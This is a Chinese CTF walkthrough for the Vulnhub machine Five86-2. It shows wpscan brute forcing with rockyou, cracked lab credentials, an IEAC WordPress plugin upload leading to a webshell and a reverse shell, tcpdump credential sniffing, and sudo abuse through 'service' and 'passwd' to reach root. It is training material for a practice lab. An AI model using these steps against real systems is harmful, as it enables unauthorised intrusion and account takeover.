Vulnhub靶机Five86-2详细解析

2021-01-25 1,532
喜欢就关注我吧,订阅更多最新消息

VulnHub渗透测试实战靶场Jarbas 1.0

https://www.hetianlab.com/expc.do?ec=ECIDfe8c-5c48-41ae-be67-6728d2ae15b2&pk_campaign=weixin-wemedia     

Jarbas1.0是一个难度为初级的Boot2root/CTF挑战,实验目的是获取目标root shell得到flag。


上篇指路-Vulnhub靶机Five86-1详细解析

靶机地址:http://www.vulnhub.com/entry/five86-2,418/ 


技术点总结

•对WordPress网站的渗透 

–wpscan 

•WordPress中IEAC插件的RCE漏洞 

–WordPress插件IEAC漏洞分析及组合利用尝试

•tcpdump的使用 

–tcpdump使用详解 


目标发现 

nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.6

nmap -A 192.168.56.6 -p- 可以看到目标主机的一些信息,-A 是进行操作系统指纹和版本检测,-p- 是全端口

开放了 22、21、80 端口,并且 80 端口是WordPress 5.1.4的CMS 这里最好提前在/etc/hosts中加上192.168.56.6 five86-2这一条,因为后面访问wordpress的后台wp-admin时会跳转到到这个域名



漏洞发现与利用 

在searchsploit和Google并没有发现WordPress 5.1.4的漏洞,可以用wpscan扫描一下这个URL。wpscan是一款针对WordPress的扫描器,详细的使用可以参考WPScan使用完整攻略。

默认扫描会返回目标站点的中间件、XML-RPC、readme文件、上传路径、WP-Corn、版本、主题、所有的插件和备份文件。 

命令wpscan -u http://192.168.56.6/


这里并没有发现很有用的信息,考虑去枚举用户名,然后配合rockyou.txt去爆破密码。爆破用户名命令wpscan --url http://192.168.56.6/ --enumerate u,发现了5个用户

peter
 admin 
barney 
gillian 
stephen


爆破密码命令wpscan --url http://192.168.56.6/ -U user.txt -P /usr/share/wordlists/rockyou.txt



最终爆破出来两个结果

Username: barney, Password: spooky1
Username: stephen, Password: apollo1

使用barney登录后台http://five86-2/wp-admin/,可以看到这个站点安装了三个插件,但是只激活了一个Insert or Embed Articulate Content into WordPress Trial(IEAC)

Akismet Anti-Spam    Version 4.1.1
Hello Dolly          Version 1.7.1
IEAC                 Version 4.2995


在谷歌上搜索一下,不难搜到这个插件的RCE:WordPress插件IEAC漏洞分析及组合利用尝试,在exploit-db上也有

先生成poc.zip,

echo "hello" > index.html
echo "" > index.php
zip poc.zip index.html index.php

然后登录wordpress后台,选择新建文章


选择添加区块


选择E-Learning


上传poc.zip


选择Insert As iFrame


可以看到上传的位置,也就是说上次的shell位置为

http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php

测试shellhttp://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami这就拿到了shell

使用php-reverse-shell去反弹shell,访问

http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php

就可以看到反弹的shell,还不是TTY,接下来就想办法变成TTY吧


ls /home发现有8个目录,刚刚爆破来两个密码,一个登陆了后台,还有一个没有测试,并且两个都在这8个用户里面。可以先试试su barney,密码填spooky1,发现失败,再试试stephen,密码apollo1。这里的shell不知道为什么没有前面的$了,但是可以用

实际上,这里的www-data可以直接使用python3 -c 'import pty;pty.spawn("/bin/bash")'变成TTY,这样可能更方便一些


然后再sudo -l发现需要密码,并且不是spooky1,所以还是su stephen吧,发现stephen在一个名为pcap的用户组中(pcap不是流量包吗^_^)


然后sudo -l发现无法执行sudo


回到pcap那里,流量包是不是意味着流量分析,尝试ifconfig发现没有这个命令,但是可以使用ip add,发现目前运行着几个网络接口


这里的最后一个接口好像是动态的,每次都不一样,可以使用tcpdump -D列出可用于抓包的接口。这里选择把后面两个抓下来,因为不怎么常见。抓包命令为timeout 120 tcpdump -w 1.pcap -i veth2c37c59,其中timeout 120是指2分钟,-w是将结果输出到文件,-i是指定监听端口



可以去分析一下这两个流量包,命令tcpdump -r 1.pcap,这里-r是从给定的流量包读取数据,不难发现paul用户FTP的密码esomepasswford。后面2.pcap1.pcap内容相同。

接着su paul,用上面的那个密码发现可以登陆。尝试sudo -l发现stephen可以使用peterservice命令


那不就可以直接执行peter/bin/bash了吗。命令sudo -u peter service /bin/bash。这里要注意一下目录的问题,用相对目录找到/bin/bash的位置


获取peter的权限后,还是先sudo -l,发现他可以运行root用户的passwd命令,这我直接修改root的密码不就获取root权限了吗


是时候表演真正的技术了。sudo -u root passwd root(强迫症,全文一致),用sudo passwd root一样的

找到flag

1/21

欢迎投稿至邮箱:EDU@antvsion.com


有才能的你快来投稿吧!

快戳“阅读原文”做靶场练习

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/152154.html

Tags:
评论  (0)
快来写下你的想法吧!

合天网安实验室

文章数:165 积分: 817

www.hetianlab.com,网络安全靶场练习平台,涉及CTF赛前指导、职业技能训练、网安专项技能提升等。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号